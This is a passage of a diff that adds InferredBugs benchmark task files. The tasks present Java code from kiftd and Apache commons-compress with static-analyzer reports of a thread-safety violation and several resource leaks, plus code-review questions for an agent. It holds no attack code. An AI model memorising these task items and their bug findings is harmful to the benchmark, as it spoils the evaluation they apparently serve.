+				pathsKeys.add(pathskey);
+			}
+		}
+		String result = protectImportFolder(paths, folderId, account, folderConstraint, originalFileName, file);
+		synchronized (pathsKeys) {
+			pathsKeys.remove(pathskey);
+		}
+		return result;
+	}
+
+	/**
+	 * 
+	 * <h2>解析相对路径字符串</h2>
+	 * <p>
+	 * 根据相对路径获得文件夹的层级名称，并以数组的形式返回。若无层级则返回空数组，若层级名称为空字符串则忽略。
+	 * </p>
+	 * <p>
+	 * 示例1：输入"aaa/bbb/ccc.c"，返回["aaa","bbb"]。
+	 * </p>
+	 * <p>
+	 * 示例2：输入"bbb.c"，返回[]。
+	 * </p>
+	 * <p>
+	 * 示例3：输入"aaa//bbb/ccc.c"，返回["aaa","bbb"]。
+	 * </p>
+	 * 
+	 * @author 青阳龙野(kohgylw)
+	 * @param path
+	 *            java.lang.String 原路径字符串
+	 * @return java.lang.String[] 解析出的目录层级
+	 */
+	private String[] getParentPath(String path) {
+		if (path != null) {
+			String[] paths = path.split("/");
+			List<String> result = new ArrayList<String>();
+			for (int i = 0; i < paths.length - 1; i++) {
+				if (paths[i].length() > 0) {
+					result.add(paths[i]);
+				}
+			}
+			return result.toArray(new String[0]);
+		}
+		return new String[0];
+	}
+
+	/**
+	 * 
+	 * <h2>解析相对路径中的文件名</h2>
+	 * <p>
+	 * 从相对路径中获得文件名，若解析失败则返回null。
+	 * </p>
+	 * 
+	 * @author 青阳龙野(kohgylw)
+	 * @param java.lang.String
+	 *            需要解析的相对路径
+	 * @return java.lang.String 文件名
+	 */
+	private String getFileNameFormPath(String path) {
+		if (path != null) {
+			String[] paths = path.split("/");
+			if (paths.length > 0) {
+				return paths[paths.length - 1];
+			}
+		}
+		return null;
+	}
+	
+	private String protectImportFolder(String[] paths,String folderId,String account,String folderConstraint,String originalFileName,MultipartFile file) {
+		for (String pName : paths) {
+			try {
+				Folder target = flm.queryByParentId(folderId).parallelStream()
+						.filter((e) -> e.getFolderName().equals(pName)).findAny().get();
+				if (ConfigureReader.instance().accessFolder(target, account)) {
+					folderId = target.getFolderId();// 向下迭代直至将父路径全部迭代完毕并找到最终路径
+				} else {
+					return UPLOADERROR;
+				}
+			} catch (NoSuchElementException e) {
+				Folder newFolder = fu.createNewFolder(flm.queryById(folderId), account, pName, folderConstraint);
+				if (newFolder != null) {
+					folderId = newFolder.getFolderId();
+				} else {
+					return UPLOADERROR;
+				}
+			}
+		}
+		String fileName = getFileNameFormPath(originalFileName);
+		// 检查是否存在同名文件。存在则直接失败（确保上传的文件夹内容的原始性）
+		final List<Node> files = this.fm.queryByParentFolderId(folderId);
+		if (files.parallelStream().anyMatch((e) -> e.getFileName().equals(fileName))) {
+			return UPLOADERROR;
+		}
+		// 将文件存入节点并获取其存入生成路径，型如“UUID.block”形式。
+		final String path = this.fbu.saveToFileBlocks(file);
+		if (path.equals("ERROR")) {
+			return UPLOADERROR;
+		}
+		final String fsize = this.fbu.getFileSize(file);
+		final Node f2 = new Node();
+		f2.setFileId(UUID.randomUUID().toString());
+		if (account != null) {
+			f2.setFileCreator(account);
+		} else {
+			f2.setFileCreator("\u533f\u540d\u7528\u6237");
+		}
+		f2.setFileCreationDate(ServerTimeUtil.accurateToDay());
+		f2.setFileName(fileName);
+		f2.setFileParentFolder(folderId);
+		f2.setFilePath(path);
+		f2.setFileSize(fsize);
+		int i = 0;
+		// 尽可能避免UUID重复的情况发生，重试10次
+		while (true) {
+			try {
+				if (this.fm.insert(f2) > 0) {
+					this.lu.writeUploadFileEvent(f2, account);
+					return UPLOADSUCCESS;
+				}
+				break;
+			} catch (Exception e) {
+				f2.setFileId(UUID.randomUUID().toString());
+				i++;
+			}
+			if (i >= 10) {
+				break;
+			}
+		}
+		return UPLOADERROR;
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `kohgylw.kiftd.server.service.impl.FileServiceImpl.checkImportFolder` indirectly writes to field `util.ConfigureReader.kohgylw.kiftd.server.util.ConfigureReader.cr` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String FileServiceImpl.checkImportFolder(HttpServletRequest)
+
+### Procedure Id:
+kohgylw.kiftd.server.service.impl.FileServiceImpl.checkImportFolder(javax.servlet.http.HttpServletRe.2b17d060b1347c4be79e2d5f399644ad
+
+### File:
+src/main/java/kohgylw/kiftd/server/service/impl/FileServiceImpl.java
+
+### Key:
+FileServiceImpl.java|checkImportFolder|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+0db9a84a2f0980e4070a4e88170271fd
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3572/instruction.md b/inferredbugs-3572/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..163fe37aff2412bdd91b53182dd5f758c392ba61
--- /dev/null
+++ b/inferredbugs-3572/instruction.md
@@ -0,0 +1,181 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-compress
+**Bug ID:** 33
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.commons.compress.archivers;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.InputStream;
+import java.io.OutputStream;
+
+import org.apache.commons.compress.archivers.zip.ZipArchiveEntry;
+import org.apache.commons.compress.utils.IOUtils;
+
+import org.apache.commons.compress.AbstractTestCase;
+
+public final class JarTestCase extends AbstractTestCase {
+	public void testJarArchiveCreation() throws Exception {
+		final File output = new File(dir, "bla.jar");
+
+		final File file1 = getFile("test1.xml");
+		final File file2 = getFile("test2.xml");
+		
+        final OutputStream out = new FileOutputStream(output);
+        
+        final ArchiveOutputStream os = new ArchiveStreamFactory().createArchiveOutputStream("jar", out);
+
+        os.putArchiveEntry(new ZipArchiveEntry("testdata/test1.xml"));
+        IOUtils.copy(new FileInputStream(file1), os);
+        os.closeArchiveEntry();
+        
+        os.putArchiveEntry(new ZipArchiveEntry("testdata/test2.xml"));
+        IOUtils.copy(new FileInputStream(file2), os);
+        os.closeArchiveEntry();
+
+        os.close();
+    }
+
+	
+	public void testJarUnarchive() throws Exception {
+		final File input = getFile("bla.jar");
+        final InputStream is = new FileInputStream(input);
+        final ArchiveInputStream in = new ArchiveStreamFactory().createArchiveInputStream("jar", is);
+        
+        ZipArchiveEntry entry = (ZipArchiveEntry)in.getNextEntry();
+        File o = new File(dir, entry.getName());
+        o.getParentFile().mkdirs();
+        OutputStream out = new FileOutputStream(o);
+        IOUtils.copy(in, out);
+        out.close();
+        
+        entry = (ZipArchiveEntry)in.getNextEntry();
+        o = new File(dir, entry.getName());
+        o.getParentFile().mkdirs();
+        out = new FileOutputStream(o);
+        IOUtils.copy(in, out);
+        out.close();
+        
+        entry = (ZipArchiveEntry)in.getNextEntry();
+        o = new File(dir, entry.getName());
+        o.getParentFile().mkdirs();
+        out = new FileOutputStream(o);
+        IOUtils.copy(in, out);
+        out.close();
+        
+        in.close();
+    }
+	
+	public void testJarUnarchiveAll() throws Exception {
+		final File input = getFile("bla.jar");
+        final InputStream is = new FileInputStream(input);
+        final ArchiveInputStream in = new ArchiveStreamFactory().createArchiveInputStream("jar", is);
+        
+        ArchiveEntry entry = in.getNextEntry();
+		while (entry != null) {
+			File archiveEntry = new File(dir, entry.getName());
+			archiveEntry.getParentFile().mkdirs();
+			if(entry.isDirectory()){
+				archiveEntry.mkdir();
+				entry = in.getNextEntry();
+				continue;
+			}
+			OutputStream out = new FileOutputStream(archiveEntry);
+			IOUtils.copy(in, out);
+			out.close();
+			entry = in.getNextEntry();
+		}
+		
+		in.close();
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileInputStream` acquired by call to `FileInputStream(...)` at line 86 is not released after line 104.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void JarTestCase.testJarUnarchiveAll()
+
+### Procedure Id:
+org.apache.commons.compress.archivers.JarTestCase.testJarUnarchiveAll():void.aab2f562b88315acc597f59fa1460100
+
+### File:
+src/test/java/org/apache/commons/compress/archivers/JarTestCase.java
+
+### Key:
+JarTestCase.java|testJarUnarchiveAll|RESOURCE_LEAK
+
+### Node Key:
+f6a63295ea2170d459e32390d004b3d1
+
+### Hash:
+6921a1386494d2a1186dfa5b696b0825
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3574/instruction.md b/inferredbugs-3574/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..0765e5c4f7d1925472f345427cbf5801303e2d9f
--- /dev/null
+++ b/inferredbugs-3574/instruction.md
@@ -0,0 +1,281 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-compress
+**Bug ID:** 18
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.commons.compress;
+
+import java.io.BufferedInputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.Iterator;
+import java.util.List;
+
+import junit.framework.TestCase;
+
+import org.apache.commons.compress.archivers.ArchiveEntry;
+import org.apache.commons.compress.archivers.ArchiveInputStream;
+import org.apache.commons.compress.archivers.ArchiveOutputStream;
+import org.apache.commons.compress.archivers.ArchiveStreamFactory;
+import org.apache.commons.compress.archivers.zip.ZipArchiveEntry;
+import org.apache.commons.compress.utils.IOUtils;
+
+public abstract class AbstractTestCase extends TestCase {
+
+    protected File dir;
+
+    protected void setUp() throws Exception {
+        dir = File.createTempFile("dir", "");
+        dir.delete();
+        dir.mkdir();
+    }
+
+    protected File getFile(String path) {
+        return new File("src/test/resources", path);
+    }
+
+    protected void tearDown() throws Exception {
+        dir.delete();
+        dir = null;
+    }
+
+    /**
+     * Creates an archive of 5 textbased files in several directories. The
+     * archivername is the factory identifier for the archiver, for example zip,
+     * tar, cpio, jar, ar. The archive is created as a temp file.
+     * 
+     * The archive contains the following files:
+     * <ul>
+     * <li>testdata/test1.xml</li>
+     * <li>testdata/test2.xml</li>
+     * <li>test/test3.xml</li>
+     * <li>bla/test4.xml</li>
+     * <li>test.txt</li>
+     * <li>something/bla</li>
+     * <li>test with spaces.txt</li>
+     * </ul>
+     * 
+     * @param archivename
+     *            the identifier of this archive
+     * @return the newly created file
+     * @throws Exception
+     *             in case something goes wrong
+     */
+    protected File createArchive(String archivename) throws Exception {
+        ArchiveOutputStream out = null;
+        try {
+            File temp = File.createTempFile("test", "." + archivename);
+
+            final OutputStream stream = new FileOutputStream(temp);
+            out = new ArchiveStreamFactory().createArchiveOutputStream(
+                    archivename, stream);
+
+            final File file1 = getFile("test1.xml");
+            final File file2 = getFile("test2.xml");
+            final File file3 = getFile("test3.xml");
+            final File file4 = getFile("test4.xml");
+            final File file5 = getFile("test.txt");
+            final File file6 = getFile("test with spaces.txt");
+
+            ZipArchiveEntry entry = new ZipArchiveEntry("testdata/test1.xml");
+            entry.setSize(file1.length());
+            out.putArchiveEntry(entry);
+            IOUtils.copy(new FileInputStream(file1), out);
+            out.closeArchiveEntry();
+
+            entry = new ZipArchiveEntry("testdata/test2.xml");
+            entry.setSize(file2.length());
+            out.putArchiveEntry(entry);
+            IOUtils.copy(new FileInputStream(file2), out);
+            out.closeArchiveEntry();
+
+            entry = new ZipArchiveEntry("test/test3.xml");
+            entry.setSize(file3.length());
+            out.putArchiveEntry(entry);
+            IOUtils.copy(new FileInputStream(file3), out);
+            out.closeArchiveEntry();
+
+            entry = new ZipArchiveEntry("bla/test4.xml");
+            entry.setSize(file4.length());
+            out.putArchiveEntry(entry);
+            IOUtils.copy(new FileInputStream(file4), out);
+            out.closeArchiveEntry();
+
+            entry = new ZipArchiveEntry("bla/test5.xml");
+            entry.setSize(file4.length());
+            out.putArchiveEntry(entry);
+            IOUtils.copy(new FileInputStream(file4), out);
+            out.closeArchiveEntry();
+
+            entry = new ZipArchiveEntry("bla/blubber/test6.xml");
+            entry.setSize(file4.length());
+            out.putArchiveEntry(entry);
+            IOUtils.copy(new FileInputStream(file4), out);
+            out.closeArchiveEntry();
+
+            entry = new ZipArchiveEntry("test.txt");
+            entry.setSize(file5.length());
+            out.putArchiveEntry(entry);
+            IOUtils.copy(new FileInputStream(file5), out);
+            out.closeArchiveEntry();
+
+            entry = new ZipArchiveEntry("something/bla");
+            entry.setSize(file6.length());
+            out.putArchiveEntry(entry);
+            IOUtils.copy(new FileInputStream(file6), out);
+            out.closeArchiveEntry();
+
+            entry = new ZipArchiveEntry("test with spaces.txt");
+            entry.setSize(file6.length());
+            out.putArchiveEntry(entry);
+            IOUtils.copy(new FileInputStream(file6), out);
+            out.closeArchiveEntry();
+
+            return temp;
+        } finally {
+            if (out != null)
+                out.close();
+        }
+    }
+
+    /**
+     * Checks if an archive contains all expected files.
+     * 
+     * @param archive
+     *            the archive to check
+     * @param expected
+     *            a list with expected string filenames
+     * @throws Exception
+     */
+    protected void checkArchiveContent(File archive, List expected)
+            throws Exception {
+        final InputStream is = new FileInputStream(archive);
+        final BufferedInputStream buf = new BufferedInputStream(is);
+        final ArchiveInputStream in = new ArchiveStreamFactory()
+                .createArchiveInputStream(buf);
+        this.checkArchiveContent(in, expected);
+    }
+
+    protected void checkArchiveContent(ArchiveInputStream in, List expected)
+            throws Exception {
+        File result = File.createTempFile("dir-result", "");
+        result.delete();
+        result.mkdir();
+
+        ArchiveEntry entry = null;
+        while ((entry = in.getNextEntry()) != null) {
+            File outfile = new File(result.getCanonicalPath() + "/result/"
+                    + entry.getName());
+            outfile.getParentFile().mkdirs();
+            OutputStream out = new FileOutputStream(outfile);
+            IOUtils.copy(in, out);
+            out.close();
+
+            if (!outfile.exists()) {
+                fail("extraction failed: " + entry.getName());
+            }
+            if (!expected.remove(entry.getName())) {
+                fail("unexpected entry: " + entry.getName());
+            }
+        }
+        in.close();
+        if (expected.size() > 0) {
+            for (Iterator iterator = expected.iterator(); iterator.hasNext();) {
+                String name = (String) iterator.next();
+                fail("Expected entry: " + name);
+            }
+        }
+        assertEquals(0, expected.size());
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileOutputStream` acquired by call to `FileOutputStream(...)` at line 85 is not released after line 86.
+**Note**: potential exception at line 86
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+File AbstractTestCase.createArchive(String)
+
+### Procedure Id:
+org.apache.commons.compress.AbstractTestCase.createArchive(java.lang.String):java.io.File.3a20c7e9c5e66e44aceee451a85f84a7
+
+### File:
+src/test/java/org/apache/commons/compress/AbstractTestCase.java
+
+### Key:
+AbstractTestCase.java|createArchive|RESOURCE_LEAK
+
+### Node Key:
+8b4ee28852f9ed7689eb0f3647629a2d
+
+### Hash:
+a8159ebbe0bbe2fbdde0339a01ad95cf
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3580/instruction.md b/inferredbugs-3580/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b387b609fe403f13393fdcd3e802ed91c595be1c
--- /dev/null
+++ b/inferredbugs-3580/instruction.md
@@ -0,0 +1,160 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-compress
+**Bug ID:** 16
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.commons.compress.archivers;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.InputStream;
+import java.io.OutputStream;
+
+import org.apache.commons.compress.AbstractTestCase;
+import org.apache.commons.compress.archivers.cpio.CpioArchiveEntry;
+import org.apache.commons.compress.utils.IOUtils;
+
+public final class CpioTestCase extends AbstractTestCase {
+
+	public void testCpioArchiveCreation() throws Exception {
+		final File output = new File(dir, "bla.cpio");
+		
+		final File file1 = getFile("test1.xml");
+		final File file2 = getFile("test2.xml");
+		
+		final OutputStream out = new FileOutputStream(output);
+        final ArchiveOutputStream os = new ArchiveStreamFactory().createArchiveOutputStream("cpio", out);
+		os.putArchiveEntry(new CpioArchiveEntry("test1.xml", file1.length()));
+		IOUtils.copy(new FileInputStream(file1), os);
+		os.closeArchiveEntry();
+		
+		os.putArchiveEntry(new CpioArchiveEntry("test2.xml", file2.length()));
+		IOUtils.copy(new FileInputStream(file2), os);
+		os.closeArchiveEntry();
+		
+		os.close();
+	}
+
+	public void testCpioUnarchive() throws Exception {
+		final File output = new File(dir, "bla.cpio");
+		{
+			final File file1 = getFile("test1.xml");
+			final File file2 = getFile("test2.xml");
+			
+			final OutputStream out = new FileOutputStream(output);
+	        final ArchiveOutputStream os = new ArchiveStreamFactory().createArchiveOutputStream("cpio", out);
+			os.putArchiveEntry(new CpioArchiveEntry("test1.xml", file1.length()));
+			IOUtils.copy(new FileInputStream(file1), os);
+			os.closeArchiveEntry();
+			
+			os.putArchiveEntry(new CpioArchiveEntry("test2.xml", file2.length()));
+			IOUtils.copy(new FileInputStream(file2), os);
+			os.closeArchiveEntry();
+			os.close();
+		}
+		
+		// Unarchive Operation
+		final File input = output;
+		final InputStream is = new FileInputStream(input);
+		final ArchiveInputStream in = new ArchiveStreamFactory().createArchiveInputStream("cpio", is);
+		final CpioArchiveEntry entry = (CpioArchiveEntry)in.getNextEntry();
+		
+		File target = new File(dir, entry.getName());
+        final OutputStream out = new FileOutputStream(target);
+        
+        IOUtils.copy(in, out);
+    
+        out.close();
+        in.close();
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.commons.compress.archivers.ar.ArArchiveInputStream` acquired by call to `createArchiveInputStream(...)` at line 73 is not released after line 83.
+**Note**: potential exception at line 79
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void CpioTestCase.testCpioUnarchive()
+
+### Procedure Id:
+org.apache.commons.compress.archivers.CpioTestCase.testCpioUnarchive():void.b2b24f778833775bf1442c00648bd251
+
+### File:
+src/test/java/org/apache/commons/compress/archivers/CpioTestCase.java
+
+### Key:
+CpioTestCase.java|testCpioUnarchive|RESOURCE_LEAK
+
+### Node Key:
+48815eab4c26cee962db00712b67bbd0
+
+### Hash:
+253d90718571a2364319b6dc43bb99bd
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3581/instruction.md b/inferredbugs-3581/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ebe528a5a7a12b9653d59058782cac15c6a63b9f
--- /dev/null
+++ b/inferredbugs-3581/instruction.md
@@ -0,0 +1,412 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-compress
+**Bug ID:** 42
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.commons.compress;
+
+import java.io.BufferedInputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+
+import junit.framework.TestCase;
+
+import org.apache.commons.compress.archivers.ArchiveEntry;
+import org.apache.commons.compress.archivers.ArchiveInputStream;
+import org.apache.commons.compress.archivers.ArchiveOutputStream;
+import org.apache.commons.compress.archivers.ArchiveStreamFactory;
+import org.apache.commons.compress.utils.IOUtils;
+
+public abstract class AbstractTestCase extends TestCase {
+
+    protected File dir;
+    protected File resultDir;
+
+    private File archive; // used to delete the archive in tearDown
+    protected List archiveList; // Lists the content of the archive as originally created
+    
+    protected ArchiveStreamFactory factory = new ArchiveStreamFactory();
+
+    public AbstractTestCase() {
+        super();
+    }
+
+    public AbstractTestCase(String name) {
+        super(name);
+    }
+
+    protected void setUp() throws Exception {
+        dir = mkdir("dir");
+        resultDir = mkdir("dir-result");
+        archive = null;
+    }
+
+    protected static File mkdir(String name) throws IOException {
+        File f = File.createTempFile(name, "");
+        f.delete();
+        f.mkdir();
+        return f;
+    }
+
+    protected File getFile(String path) {
+        return new File("src/test/resources", path);
+    }
+
+    protected void tearDown() throws Exception {
+        rmdir(dir);
+        rmdir(resultDir);
+        dir = resultDir = null;
+        if (archive != null && archive.exists()) {
+            if (!archive.delete()){
+                // Note: this exception won't be shown if the test has already failed
+                throw new Exception("Could not delete "+archive.getPath());
+            }
+        }
+    }
+
+    protected static void rmdir(File f) {
+        String[] s = f.list();
+        if (s != null) {
+            for (int i = 0; i < s.length; i++) {
+                final File file = new File(f, s[i]);
+                if (file.isDirectory()){
+                    rmdir(file);
+                }
+                boolean ok = file.delete();
+                if (!ok && file.exists()){
+                    System.out.println("Failed to delete "+s[i]+" in "+f.getPath());
+                }
+            }
+        }
+        if (!f.delete()){
+            throw new Error("Failed to delete "+f.getPath());
+        }
+    }
+
+    /**
+     * Creates an archive of textbased files in several directories. The
+     * archivername is the factory identifier for the archiver, for example zip,
+     * tar, cpio, jar, ar. The archive is created as a temp file.
+     * 
+     * The archive contains the following files:
+     * <ul>
+     * <li>testdata/test1.xml</li>
+     * <li>testdata/test2.xml</li>
+     * <li>test/test3.xml</li>
+     * <li>bla/test4.xml</li>
+     * <li>bla/test5.xml</li>
+     * <li>bla/blubber/test6.xml</li>
+     * <li>test.txt</li>
+     * <li>something/bla</li>
+     * <li>test with spaces.txt</li>
+     * </ul>
+     * 
+     * @param archivename
+     *            the identifier of this archive
+     * @return the newly created file
+     * @throws Exception
+     *             in case something goes wrong
+     */
+    protected File createArchive(String archivename) throws Exception {
+        ArchiveOutputStream out = null;
+        OutputStream stream = null;
+        try {
+            archive = File.createTempFile("test", "." + archivename);
+            archiveList = new ArrayList();
+
+            stream = new FileOutputStream(archive);
+            out = factory.createArchiveOutputStream(archivename, stream);
+
+            final File file1 = getFile("test1.xml");
+            final File file2 = getFile("test2.xml");
+            final File file3 = getFile("test3.xml");
+            final File file4 = getFile("test4.xml");
+            final File file5 = getFile("test.txt");
+            final File file6 = getFile("test with spaces.txt");
+
+            addArchiveEntry(out, "testdata/test1.xml", file1);
+            addArchiveEntry(out, "testdata/test2.xml", file2);
+            addArchiveEntry(out, "test/test3.xml", file3);
+            addArchiveEntry(out, "bla/test4.xml", file4);
+            addArchiveEntry(out, "bla/test5.xml", file4);
+            addArchiveEntry(out, "bla/blubber/test6.xml", file4);
+            addArchiveEntry(out, "test.txt", file5);
+            addArchiveEntry(out, "something/bla", file6);
+            addArchiveEntry(out, "test with spaces.txt", file6);
+
+            return archive;
+        } finally {
+            if (out != null) {
+                out.close();
+            } else if (stream != null) {
+                stream.close();
+            }
+        }
+    }
+
+    /**
+     * Add an entry to the archive, and keep track of the names in archiveList.
+     * 
+     * @param out
+     * @param file1
+     * @throws IOException
+     * @throws FileNotFoundException
+     */
+    private void addArchiveEntry(ArchiveOutputStream out, String filename, final File infile)
+            throws IOException, FileNotFoundException {
+        ArchiveEntry entry = out.createArchiveEntry(infile, filename);
+        out.putArchiveEntry(entry);
+        IOUtils.copy(new FileInputStream(infile), out);
+        out.closeArchiveEntry();
+        archiveList.add(filename);
+    }
+
+    /**
+     * Create an empty archive.
+     * @param archivename
+     * @return the archive File
+     * @throws Exception
+     */
+    protected File createEmptyArchive(String archivename) throws Exception {
+        ArchiveOutputStream out = null;
+        OutputStream stream = null;
+        archiveList = new ArrayList();
+        try {
+            archive = File.createTempFile("empty", "." + archivename);
+            stream = new FileOutputStream(archive);
+            out = factory.createArchiveOutputStream(archivename, stream);
+        } finally {
+            if (out != null) {
+                out.close();
+            } else if (stream != null) {
+                stream.close();
+            }
+        }
+        return archive;
+    }
+
+    /**
+     * Create an archive with a single file "test1.xml".
+     * 
+     * @param archivename
+     * @return the archive File
+     * @throws Exception
+     */
+    protected File createSingleEntryArchive(String archivename) throws Exception {
+        ArchiveOutputStream out = null;
+        OutputStream stream = null;
+        archiveList = new ArrayList();
+        try {
+            archive = File.createTempFile("empty", "." + archivename);
+            stream = new FileOutputStream(archive);
+            out = factory.createArchiveOutputStream(archivename, stream);
+            // Use short file name so does not cause problems for ar
+            addArchiveEntry(out, "test1.xml", getFile("test1.xml"));
+        } finally {
+            if (out != null) {
+                out.close();
+            } else if (stream != null) {
+                stream.close();
+            }
+        }
+        return archive;
+    }
+
+    /**
+     * Checks if an archive contains all expected files.
+     * 
+     * @param archive
+     *            the archive to check
+     * @param expected
+     *            a list with expected string filenames
